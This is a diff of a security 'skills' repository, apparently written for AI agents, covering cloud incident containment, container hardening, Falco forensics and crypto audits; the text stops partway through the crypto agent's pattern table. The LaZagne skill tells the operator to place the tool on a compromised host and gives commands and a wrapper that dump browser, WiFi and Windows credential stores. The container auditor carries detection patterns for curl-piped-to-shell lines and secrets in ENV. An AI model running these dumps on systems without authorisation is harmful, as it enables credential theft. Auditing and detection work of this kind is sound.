session.client("s3") + +def block_public_bucket(bucket_name): + s3.put_public_access_block( + Bucket=bucket_name, + PublicAccessBlockConfiguration={ + "BlockPublicAcls": True, + "IgnorePublicAcls": True, + "BlockPublicPolicy": True, + "RestrictPublicBuckets": True, + }, + ) + return {"bucket": bucket_name, "action": "public_access_blocked"} +``` ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +{ + "incident_id": "IR-2025-001", + "containment_time": "2025-01-15T10:30:00Z", + "actions_taken": [ + {"action": "isolate_instance", "target": "i-0abc123", "status": "success"}, + {"action": "disable_access_keys", "target": "compromised-user", "keys_disabled": 2}, + {"action": "snapshot_volumes", "target": "i-0abc123", "snapshots": 2}, + {"action": "stop_instance", "target": "i-0abc123", "status": "success"} + ] +} ``` diff --git a/skills/performing-cloud-incident-containment-procedures/scripts/agent.py b/skills/performing-cloud-incident-containment-procedures/scripts/agent.py index 1149af0b..39addd15 100644 --- a/skills/performing-cloud-incident-containment-procedures/scripts/agent.py +++ b/skills/performing-cloud-incident-containment-procedures/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Cloud incident containment agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/performing-cloud-native-forensics-with-falco/scripts/agent.py b/skills/performing-cloud-native-forensics-with-falco/scripts/agent.py index 4bf74544..59794888 100644 --- a/skills/performing-cloud-native-forensics-with-falco/scripts/agent.py +++ b/skills/performing-cloud-native-forensics-with-falco/scripts/agent.py @@ -1,11 +1,11 @@ #!/usr/bin/env python3 """Agent for managing Falco rules and parsing alerts for container forensics.""" -import os import json import argparse -from datetime import datetime +import os from collections import defaultdict +from datetime import datetime from pathlib import Path import yaml @@ -116,7 +116,8 @@ def summarize_alerts(alerts): } -def check_falco_health(falco_url="http://localhost:8765"): +def check_falco_health(falco_url=None): + falco_url = falco_url or os.environ.get("FALCO_URL", "http://localhost:8765") """Check Falco health via HTTP endpoint.""" try: resp = requests.get(f"{falco_url}/healthz", timeout=5) @@ -126,7 +127,8 @@ def check_falco_health(falco_url="http://localhost:8765"): return {"status": "unreachable", "error": str(e)} -def get_falco_version(falco_url="http://localhost:8765"): +def get_falco_version(falco_url=None): + falco_url = falco_url or os.environ.get("FALCO_URL", "http://localhost:8765") """Get Falco version information.""" try: resp = requests.get(f"{falco_url}/version", timeout=5) @@ -155,7 +157,7 @@ def main(): parser = argparse.ArgumentParser(description="Falco Cloud Native Forensics Agent") parser.add_argument("--alert-file", help="Path to Falco JSON alert log") parser.add_argument("--rules-output", default="custom_falco_rules.yaml") - parser.add_argument("--falco-url", default="http://localhost:8765") + parser.add_argument("--falco-url", default=os.environ.get("FALCO_URL", "http://localhost:8765")) parser.add_argument("--output", default="falco_report.json") parser.add_argument("--action", choices=[ "generate_rules", "parse_alerts", "health", "full_analysis" diff --git a/skills/performing-cloud-penetration-testing.bak/LICENSE b/skills/performing-cloud-penetration-testing.bak/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/performing-cloud-penetration-testing.bak/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/performing-cloud-penetration-testing/SKILL.md b/skills/performing-cloud-penetration-testing.bak/SKILL.md similarity index 100% rename from skills/performing-cloud-penetration-testing/SKILL.md rename to skills/performing-cloud-penetration-testing.bak/SKILL.md diff --git a/skills/performing-cloud-penetration-testing/references/api-reference.md b/skills/performing-cloud-penetration-testing.bak/references/api-reference.md similarity index 100% rename from skills/performing-cloud-penetration-testing/references/api-reference.md rename to skills/performing-cloud-penetration-testing.bak/references/api-reference.md diff --git a/skills/performing-cloud-penetration-testing/scripts/agent.py b/skills/performing-cloud-penetration-testing.bak/scripts/agent.py similarity index 100% rename from skills/performing-cloud-penetration-testing/scripts/agent.py rename to skills/performing-cloud-penetration-testing.bak/scripts/agent.py diff --git a/skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py b/skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py index 3ff450ca..4459b35a 100644 --- a/skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py +++ b/skills/performing-cloud-storage-forensic-acquisition/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """Cloud storage forensic acquisition agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/performing-container-image-hardening/scripts/agent.py b/skills/performing-container-image-hardening/scripts/agent.py index 31bb8517..5aa18c89 100644 --- a/skills/performing-container-image-hardening/scripts/agent.py +++ b/skills/performing-container-image-hardening/scripts/agent.py @@ -1,60 +1,311 @@ #!/usr/bin/env python3 -"""Container image hardening audit agent.""" -import argparse, json, sys +"""Container image hardening audit agent. + +Audits Docker container images for security hardening best practices +using Trivy for vulnerability scanning, Dockle for CIS Docker Benchmark +compliance, and Dockerfile analysis for security anti-patterns. +""" +import argparse +import json +import os +import subprocess +import sys from datetime import datetime, timezone -try: - import requests -except ImportError: - requests = None -def run_scan(target, token=None): - findings = [] - if not requests: return [{"error": "requests required"}] - headers = {"Authorization": f"Bearer {token}"} if token else {} + +def find_binary(name): + """Locate a binary on the system PATH.""" + for ext in ["", ".exe"]: + for directory in os.environ.get("PATH", "").split(os.pathsep): + full_path = os.path.join(directory, name + ext) + if os.path.isfile(full_path): + return full_path + return None + + +def run_trivy_image_scan(image, severity="CRITICAL,HIGH", ignore_unfixed=True): + """Scan a container image with Trivy for vulnerabilities.""" + trivy_bin = find_binary("trivy") + if not trivy_bin: + print("[!] trivy not found. Install: https://github.com/aquasecurity/trivy", + file=sys.stderr) + return None + + cmd = [trivy_bin, "image", "--format", "json", "--severity", severity] + if ignore_unfixed: + cmd.append("--ignore-unfixed") + cmd.append(image) + + print(f"[*] Running Trivy scan: {' '.join(cmd)}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + if result.returncode != 0 and not result.stdout: + print(f"[!] Trivy error: {result.stderr[:300]}", file=sys.stderr) + return None try: - resp = requests.get(f"{target}", headers=headers, timeout=15) - if resp.status_code == 200: - findings.append({"check": "Target Accessible", "status": "OK", "severity": "INFO"}) - else: - findings.append({"check": "Target Access", "status": f"HTTP {resp.status_code}", "severity": "MEDIUM"}) - except requests.RequestException as e: - findings.append({"error": str(e)}) + return json.loads(result.stdout) + except json.JSONDecodeError: + return None + + +def run_dockle_scan(image): + """Scan a container image with Dockle for CIS benchmark compliance.""" + dockle_bin = find_binary("dockle") + if not dockle_bin: + print("[*] dockle not found, skipping CIS benchmark check", file=sys.stderr) + return None + + cmd = [dockle_bin, "--format", "json", image] + print(f"[*] Running Dockle scan: {' '.join(cmd)}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + try: + return json.loads(result.stdout) + except json.JSONDecodeError: + return None + + +def analyze_dockerfile(dockerfile_path): + """Analyze a Dockerfile for security anti-patterns.""" + findings = [] + if not os.path.isfile(dockerfile_path): + return findings + + with open(dockerfile_path, "r") as f: + lines = f.readlines() + + runs_as_root = True + has_healthcheck = False + uses_latest_tag = False + + for i, line in enumerate(lines, 1): + stripped = line.strip() + upper = stripped.upper() + + if upper.startswith("FROM") and ":latest" in stripped: + uses_latest_tag = True + findings.append({ + "check": "FROM uses :latest tag", + "line": i, + "severity": "HIGH", + "description": "Pin image to a specific version for reproducibility and security", + "content": stripped, + }) + + if upper.startswith("FROM") and "scratch" not in stripped.lower(): + base = stripped.split()[-1] if stripped.split() else "" + if "alpine" not in base.lower() and "distroless" not in base.lower(): + findings.append({ + "check": "Non-minimal base image", + "line": i, + "severity": "MEDIUM", + "description": "Consider using Alpine or distroless base for smaller attack surface", + "content": stripped, + }) + + if upper.startswith("USER") and stripped.split()[-1] not in ("root", "0"): + runs_as_root = False + + if upper.startswith("HEALTHCHECK"): + has_healthcheck = True + + if upper.startswith("RUN") and ("chmod 777" in stripped or "chmod -R 777" in stripped): + findings.append({ + "check": "Overly permissive chmod 777", + "line": i, + "severity": "HIGH", + "description": "chmod 777 grants world-writable permissions; use specific permissions", + "content": stripped, + }) + + if upper.startswith("RUN") and "curl" in stripped and "| sh" in stripped: + findings.append({ + "check": "Pipe to shell from curl", + "line": i, + "severity": "CRITICAL", + "description": "Piping curl output to shell is risky; download, verify, then execute", + "content": stripped, + }) + + if upper.startswith("ENV") and any(kw in upper for kw in ["PASSWORD", "SECRET", "TOKEN", "API_KEY"]): + findings.append({ + "check": "Secrets in ENV instruction", + "line": i, + "severity": "CRITICAL", + "description": "Never embed secrets in Dockerfile; use build args or secrets mount", + "content": stripped, + }) + + if upper.startswith("ADD") and not stripped.endswith(".tar.gz"): + findings.append({ + "check": "ADD instead of COPY", + "line": i, + "severity": "LOW", + "description": "Use COPY unless you need ADD's auto-extraction; COPY is more explicit", + "content": stripped, + }) + + if upper.startswith("EXPOSE") and any(p in stripped for p in ["22", "23", "3389"]): + findings.append({ + "check": "Exposed management port", + "line": i, + "severity": "HIGH", + "description": "SSH/Telnet/RDP ports should not be exposed in containers", + "content": stripped, + }) + + if runs_as_root: + findings.append({ + "check": "Container runs as root", + "line": 0, + "severity": "HIGH", + "description": "Add a USER instruction to run as non-root for least privilege", + }) + + if not has_healthcheck: + findings.append({ + "check": "Missing HEALTHCHECK", + "line": 0, + "severity": "LOW", + "description": "Add HEALTHCHECK to enable container health monitoring", + }) + return findings -def analyze_results(target, token=None): + +def extract_trivy_findings(trivy_data): + """Extract vulnerability findings from Trivy JSON output.""" findings = [] - if not requests: return [] - headers = {"Authorization": f"Bearer {token}"} if token else {} - try: - resp = requests.get(f"{target}/api/v1/results", headers=headers, timeout=15) - if resp.status_code == 200: - data = resp.json() - for item in data.get("findings", data.get("results", [])): - severity = item.get("severity", item.get("risk", "MEDIUM")) - findings.append({"check": item.get("name", item.get("title", "unknown")), - "severity": severity.upper() if isinstance(severity, str) else "MEDIUM"}) - except requests.RequestException: - pass + if not trivy_data: + return findings + results = trivy_data.get("Results", []) + for result in results: + target = result.get("Target", "") + for vuln in result.get("Vulnerabilities", []): + findings.append({ + "source": "trivy", + "target": target, + "vulnerability_id": vuln.get("VulnerabilityID", ""), + "pkg_name": vuln.get("PkgName", ""), + "installed_version": vuln.get("InstalledVersion", ""), + "fixed_version": vuln.get("FixedVersion", ""), + "severity": vuln.get("Severity", "UNKNOWN"), + "title": vuln.get("Title", ""), + "description": vuln.get("Description", "")[:200], + }) return findings + +def extract_dockle_findings(dockle_data): + """Extract CIS benchmark findings from Dockle JSON output.""" + findings = [] + if not dockle_data: + return findings + for detail in dockle_data.get("details", []): + severity_map = {"FATAL": "CRITICAL", "WARN": "HIGH", "INFO": "MEDIUM", "SKIP": "LOW"} + findings.append({ + "source": "dockle", + "code": detail.get("code", ""), + "title": detail.get("title", ""), + "level": detail.get("level", "INFO"), + "severity": severity_map.get(detail.get("level", "INFO"), "MEDIUM"), + "alerts": detail.get("alerts", []), + }) + return findings + + +def format_summary(image, trivy_findings, dockle_findings, dockerfile_findings): + """Print combined audit summary.""" + all_findings = trivy_findings + dockle_findings + dockerfile_findings + print(f"\n{'='*60}") + print(f" Container Image Hardening Audit") + print(f"{'='*60}") + print(f" Image : {image}") + print(f" Vulnerabilities: {len(trivy_findings)} (Trivy)") + print(f" CIS Benchmark : {len(dockle_findings)} (Dockle)") + print(f" Dockerfile : {len(dockerfile_findings)}") + print(f" Total Findings : {len(all_findings)}") + + severity_counts = {} + for f in all_findings: + sev = f.get("severity", "UNKNOWN") + severity_counts[sev] = severity_counts.get(sev, 0) + 1 + + print(f"\n By Severity:") + for sev in ["CRITICAL", "HIGH", "MEDIUM", "LOW", "UNKNOWN"]: + count = severity_counts.get(sev, 0) + if count > 0: + print(f" {sev:10s}: {count}") + + if trivy_findings: + print(f"\n Top Vulnerabilities:") + for f in trivy_findings[:10]: + print(f" {f['vulnerability_id']:16s} | {f['severity']:8s} | " + f"{f['pkg_name']}:{f['installed_version']} -> {f.get('fixed_version', 'N/A')}") + + if dockerfile_findings: + print(f"\n Dockerfile Issues:") + for f in dockerfile_findings: + print(f" [{f['severity']:8s}] Line {f.get('line', 0):3d}: {f['check']}") + + return severity_counts + + def main(): - p = argparse.ArgumentParser(description="Container image hardening audit agent") - p.add_argument("--target", required=True, help="Target URL or IP") - p.add_argument("--token", help="API token") - p.add_argument("--output", "-o", help="Output JSON report") - p.add_argument("--verbose", "-v", action="store_true") - a = p.parse_args() - print("[*] Container image hardening audit agent") - report = {"timestamp": datetime.now(timezone.utc).isoformat(), "target": a.target, "findings": []} - report["findings"].extend(run_scan(a.target, a.token)) - report["findings"].extend(analyze_results(a.target, a.token)) - high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) - report["risk_level"] = "CRITICAL" if high > 2 else "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" - print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") - if a.output: - with open(a.output, "w") as f: json.dump(report, f, indent=2) - else: + parser = argparse.ArgumentParser( + description="Container image hardening audit agent" + ) + parser.add_argument("--image", required=True, help="Container image to scan (e.g., nginx:1.25)") + parser.add_argument("--dockerfile", help="Path to Dockerfile for static analysis") + parser.add_argument("--severity", default="CRITICAL,HIGH", + help="Trivy severity filter (default: CRITICAL,HIGH)") + parser.add_argument("--skip-trivy", action="store_true", help="Skip Trivy scan") + parser.add_argument("--skip-dockle", action="store_true", help="Skip Dockle scan") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + trivy_findings = [] + dockle_findings = [] + dockerfile_findings = [] + + if not args.skip_trivy: + trivy_data = run_trivy_image_scan(args.image, args.severity) + trivy_findings = extract_trivy_findings(trivy_data) + + if not args.skip_dockle: + dockle_data = run_dockle_scan(args.image) + dockle_findings = extract_dockle_findings(dockle_data) + + if args.dockerfile: + dockerfile_findings = analyze_dockerfile(args.dockerfile) + + severity_counts = format_summary( + args.image, trivy_findings, dockle_findings, dockerfile_findings + ) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "tool": "Container Hardening Audit", + "image": args.image, + "severity_counts": severity_counts, + "trivy_findings": trivy_findings, + "dockle_findings": dockle_findings, + "dockerfile_findings": dockerfile_findings, + "total_findings": len(trivy_findings) + len(dockle_findings) + len(dockerfile_findings), + "risk_level": ( + "CRITICAL" if severity_counts.get("CRITICAL", 0) > 0 + else "HIGH" if severity_counts.get("HIGH", 0) > 0 + else "MEDIUM" if severity_counts.get("MEDIUM", 0) > 0 + else "LOW" + ), + } + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"\n[+] Report saved to {args.output}") + elif args.verbose: print(json.dumps(report, indent=2)) + if __name__ == "__main__": main() diff --git a/skills/performing-container-security-scanning-with-trivy/scripts/agent.py b/skills/performing-container-security-scanning-with-trivy/scripts/agent.py index 301c3ed6..be0c8fe3 100644 --- a/skills/performing-container-security-scanning-with-trivy/scripts/agent.py +++ b/skills/performing-container-security-scanning-with-trivy/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import logging import subprocess -import os from collections import defaultdict from datetime import datetime diff --git a/skills/performing-content-security-policy-bypass/scripts/agent.py b/skills/performing-content-security-policy-bypass/scripts/agent.py index 1b874d96..d64bf933 100644 --- a/skills/performing-content-security-policy-bypass/scripts/agent.py +++ b/skills/performing-content-security-policy-bypass/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """CSP bypass testing agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/performing-credential-access-with-lazagne/SKILL.md b/skills/performing-credential-access-with-lazagne/SKILL.md index b87dcdc3..d19cdb36 100644 --- a/skills/performing-credential-access-with-lazagne/SKILL.md +++ b/skills/performing-credential-access-with-lazagne/SKILL.md @@ -33,7 +33,7 @@ LaZagne is an open-source post-exploitation tool designed to retrieve credential - **T1003.004** - OS Credential Dumping: LSA Secrets - **T1539** - Steal Web Session Cookie -## Implementation Steps +## Workflow ### Phase 1: LaZagne Deployment 1. Transfer LaZagne to the compromised host: diff --git a/skills/performing-credential-access-with-lazagne/references/api-reference.md b/skills/performing-credential-access-with-lazagne/references/api-reference.md index d73c7022..6bfdc6bd 100644 --- a/skills/performing-credential-access-with-lazagne/references/api-reference.md +++ b/skills/performing-credential-access-with-lazagne/references/api-reference.md @@ -1,28 +1,208 @@ -# API Reference: LaZagne credential access detection agent +# API Reference: LaZagne Credential Access Detection -## API Details -LaZagne all -oJ, browser credential detection, WiFi password extraction, log analysis +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `subprocess` | Execute LaZagne CLI for credential recovery testing | +| `json` | Parse LaZagne JSON output | +| `pathlib` | Handle output file paths | +| `os` | Check platform and privilege level | ## Installation + ```bash -pip install subprocess pathlib +# Python (from source) +git clone https://github.com/AlessandroZ/LaZagne.git +cd LaZagne + +# Windows +pip install -r requirements.txt +python laZagne.py --help + +# Linux +pip install -r requirements.txt +python laZagne.py --help + +# Pre-compiled Windows binary +# Download from GitHub Releases ``` -## Libraries +## CLI Reference -| Library | Use | -|---------|-----| -| `subprocess` | subprocess | -| `pathlib` | pathlib | +### Retrieve All Credentials +```bash +# All modules, JSON output +python laZagne.py all -oJ -## Authentication +# All modules, text output to file +python laZagne.py all -oA -output /tmp/lazagne_results -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +# Run with elevated privileges (recommended for full results) +# Windows: Run as Administrator +# Linux: sudo python laZagne.py all +``` + +### Module-Specific Scans +```bash +# Browser credentials only +python laZagne.py browsers + +# WiFi passwords +python laZagne.py wifi + +# Database credentials +python laZagne.py databases + +# System credentials (Windows) +python laZagne.py windows + +# Email client credentials +python laZagne.py mails + +# Git credentials +python laZagne.py git +``` + +### Key CLI Flags + +| Flag | Description | +|------|-------------| +| `all` | Run all credential recovery modules | +| `browsers` | Chrome, Firefox, Edge, Opera, IE passwords | +| `wifi` | Saved WiFi network passwords | +| `databases` | Database client saved credentials | +| `windows` | Windows credential manager, vault, LSA | +| `mails` | Email client saved passwords | +| `git` | Git credential store and helpers | +| `sysadmin` | Admin tools (PuTTY, WinSCP, FileZilla) | +| `-oJ` | Output as JSON | +| `-oA` | Output all formats (JSON + TXT) | +| `-output` | Output directory path | +| `-password` | Master password for specific modules | +| `-v` | Verbose output | + +## Available Modules + +### Windows Modules +| Module | Targets | +|--------|---------| +| `chrome` | Chrome saved passwords and cookies | +| `firefox` | Firefox logins.json | +| `edge` | Edge Chromium saved passwords | +| `ie` | Internet Explorer saved credentials | +| `credman` | Windows Credential Manager | +| `vault` | Windows Vault | +| `lsa_secrets` | LSA Secrets (requires SYSTEM) | +| `cachedump` | Domain cached credentials | +| `winscp` | WinSCP session passwords | +| `putty` | PuTTY saved sessions | +| `filezilla` | FileZilla saved servers | +| `wifi` | Saved WiFi profiles | + +### Linux Modules +| Module | Targets | +|--------|---------| +| `chrome` | Chrome/Chromium saved passwords | +| `firefox` | Firefox saved passwords | +| `kde` | KDE Wallet credentials | +| `gnome` | GNOME Keyring | +| `wifi` | NetworkManager WiFi passwords | +| `docker` | Docker config.json | +| `ssh` | SSH private keys (detection only) | +| `git` | Git credential store | +| `env` | Environment variable secrets | + +## Python Integration + +### Run LaZagne and Parse Results +```python +import subprocess +import json +import os +from pathlib import Path + +def run_lazagne(modules="all", output_dir="/tmp/lazagne"): + """Run LaZagne and parse JSON output for credential audit.""" + os.makedirs(output_dir, exist_ok=True) + cmd = ["python", "laZagne.py", modules, "-oJ", "-output", output_dir] + + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=120, + ) + + # Find the JSON output file + json_files = list(Path(output_dir).glob("*.json")) + if json_files: + with open(json_files[0]) as f: + return json.load(f) + return [] +``` + +### Categorize Findings by Risk +```python +HIGH_RISK_MODULES = {"lsa_secrets", "cachedump", "credman", "vault", "wifi"} +MEDIUM_RISK_MODULES = {"chrome", "firefox", "edge", "putty", "winscp", "filezilla"} + +def categorize_credentials(lazagne_output): + summary = {"high": [], "medium": [], "low": [], "total": 0} + for module_result in lazagne_output: + module_name = list(module_result.keys())[0] + creds = module_result[module_name] + if not creds: + continue + for cred in creds: + entry = {"module": module_name, **cred} + if module_name in HIGH_RISK_MODULES: + summary["high"].append(entry) + elif module_name in MEDIUM_RISK_MODULES: + summary["medium"].append(entry) + else: + summary["low"].append(entry) + summary["total"] += 1 + return summary +``` + +## MITRE ATT&CK Mapping + +| Technique | ID | Description | +|-----------|-----|-------------| +| Credentials from Password Stores | T1555 | Browser, credential manager | +| Credentials from Web Browsers | T1555.003 | Chrome, Firefox, Edge | +| Windows Credential Manager | T1555.004 | Credential Manager, Vault | +| Cached Domain Credentials | T1003.005 | Domain cached logon | +| LSA Secrets | T1003.004 | LSA secret extraction | ## Output Format + ```json -{"timestamp": "ISO-8601", "target": "URL", "findings": [], "risk_level": "HIGH"} +[ + { + "chrome": [ + { + "URL": "https://internal.example.com/login", + "Login": "admin@example.com", + "Password": "REDACTED" + } + ] + }, + { + "wifi": [ + { + "SSID": "CorpWiFi-5G", + "Password": "REDACTED", + "Authentication": "WPA2-Personal" + } + ] + }, + { + "credman": [ + { + "Target": "TERMSRV/prod-server-01", + "Username": "DOMAIN\\admin", + "Password": "REDACTED" + } + ] + } +] ``` diff --git a/skills/performing-credential-access-with-lazagne/scripts/agent.py b/skills/performing-credential-access-with-lazagne/scripts/agent.py index 57765aab..4677eb79 100644 --- a/skills/performing-credential-access-with-lazagne/scripts/agent.py +++ b/skills/performing-credential-access-with-lazagne/scripts/agent.py @@ -1,6 +1,6 @@ #!/usr/bin/env python3 """LaZagne credential access detection agent.""" -import argparse, json, sys +import argparse, json from datetime import datetime, timezone try: import requests diff --git a/skills/performing-cryptographic-audit-of-application/scripts/agent.py b/skills/performing-cryptographic-audit-of-application/scripts/agent.py index 2d545bc5..e06cd364 100644 --- a/skills/performing-cryptographic-audit-of-application/scripts/agent.py +++ b/skills/performing-cryptographic-audit-of-application/scripts/agent.py @@ -1,60 +1,325 @@ #!/usr/bin/env python3 -"""Application cryptographic audit agent.""" -import argparse, json, sys +"""Application cryptographic audit agent. + +Audits application code and configurations for cryptographic weaknesses +including weak algorithms, insecure key sizes, hardcoded keys, deprecated +protocols, and missing certificate validation. Scans source files, config +files, and TLS endpoints. +""" +import argparse +import json +import os +import re +import ssl +import socket +import sys from datetime import datetime, timezone + try: - import requests + from cryptography import x509 + from cryptography.hazmat.backends import default_backend + HAS_CRYPTO = True except ImportError: - requests = None + HAS_CRYPTO = False -def run_scan(target, token=None): + +WEAK_PATTERNS = { + "weak_hash": { + "pattern": r'\b(MD5|md5|SHA1|sha1|SHA-1)\b(?!.*hmac)', + "severity": "HIGH", + "description": "Weak hash algorithm detected (MD5/SHA1)", + "recommendation": "Use SHA-256 or SHA-3", + }, + "weak_cipher": { + "pattern": r'\b(DES|3DES|RC4|RC2|Blowfish|IDEA)\b', + "severity": "HIGH", + "description": "Weak cipher algorithm detected", + "recommendation": "Use AES-256-GCM or ChaCha20-Poly1305", + }, + "ecb_mode": { + "pattern": 